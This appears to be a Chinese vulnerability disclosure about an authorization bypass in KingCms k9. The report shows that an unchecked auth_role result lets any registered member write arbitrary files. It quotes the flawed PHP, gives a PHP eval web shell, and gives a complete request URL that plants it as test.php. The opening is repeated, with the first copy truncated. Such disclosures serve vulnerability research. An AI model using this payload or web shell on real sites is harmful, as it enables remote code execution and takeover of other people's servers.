### 简要描述: KingCms最新版(k9)文件写入导致GetShell ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 一般的会员就可以实现GetsShell 问题出在这里:/user/manage_template.php ``` //编辑文件 function _edit(){ $u=new user;$u->auth_role('template_edit'); $filename=kc_get('filename','/^([a-zA-Z0-9\_\-]+\/)*[a-z0-9A-Z\_\-]+\.[a-z0-9]{2,8}$/',1); $content=empty($_POST['content'])?'':$_POST['content']; $file=new file; $file->put(T.$filename,$content); kc_ajax(array('JS'=>"\$('#list_after').html('').hide();")); } 这里有个权限验证$u->auth_role('template_edit');,我们去看看 public function auth_role($level=0,$is=false){ if(empty($level)) return $this->info['islogin']; if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form'); //exit($this->info['islogin'].'ccc'); if($is==true && strpos($level,'_deny')) return false; global $db;...
### 简要描述: KingCms最新版(k9)文件写入导致GetShell ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 一般的会员就可以实现GetsShell 问题出在这里:/user/manage_template.php ``` //编辑文件 function _edit(){ $u=new user;$u->auth_role('template_edit'); $filename=kc_get('filename','/^([a-zA-Z0-9\_\-]+\/)*[a-z0-9A-Z\_\-]+\.[a-z0-9]{2,8}$/',1); $content=empty($_POST['content'])?'':$_POST['content']; $file=new file; $file->put(T.$filename,$content); kc_ajax(array('JS'=>"\$('#list_after').html('').hide();")); } 这里有个权限验证$u->auth_role('template_edit');,我们去看看 public function auth_role($level=0,$is=false){ if(empty($level)) return $this->info['islogin']; if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form'); //exit($this->info['islogin'].'ccc'); if($is==true && strpos($level,'_deny')) return false; global $db; $res_rids=$db->getRows_two('%s_user_role_bind','rid','removedate','userid='.$this->info['userid']); if(empty($res_rids)) return false;//注释1:如果没有权限,返回false $rids=array_keys($res_rids); $rs=$db->getRows_two('%s_user_role_auth','auth','id','rid in ('.implode(',',$rids).')'); /* $rs=$db->getRows_join('%s_user_role_auth','%s_user_role_bind','auth','rid','rid','t2.userid='.$this->info['userid'].' and t1.auth=\''.$level.'\''); */ if(!empty($rs['admin'])) return true; //if(empty($rs[$level])) return $is ? false : kc_tip('您无权访问当前页!','form'); return empty($rs[$level]) ? ($is ? false : kc_tip('您无权访问当前页!','form')) : true; } ``` 看上面代码“注释1”处,如果用户没有相应的权限就返回false 但是在上面的第一段代码中,并没有判断是不是返回false啊,也没去exit(),也就是说返回true和返回false是一样的,没有判断,程序继续向下执行啊。也就是说,注册的会员都可以操作这里。 那就写入个文件吧test.php 内容简单点,就写 ``` <?php eval($_POST["cmd"]); ?> ``` Payload:get提交 ``` /user/manage_template.php?jsoncallback=1&_=1&CMD=edit&METHOD=POST&AJAX=1&filename=test.php&content=%3C%3Fphp%0Aeval(%24_POST%5B%22cmd%22%5D)%3B%0A%3F%3E ``` 提交过程如下图 [<img src="https://images.seebug.org/upload/201503/20000357b7e7b89942de8a9fb073487d0c7cbb82.jpg" alt="文件写入过程副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/20000357b7e7b89942de8a9fb073487d0c7cbb82.jpg) 测试如下图 [<img src="https://images.seebug.org/upload/201503/20000213a91e6f95d58c6d93b25a9471a1c74408.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/20000213a91e6f95d58c6d93b25a9471a1c74408.jpg) ### 漏洞证明: 见 详细说明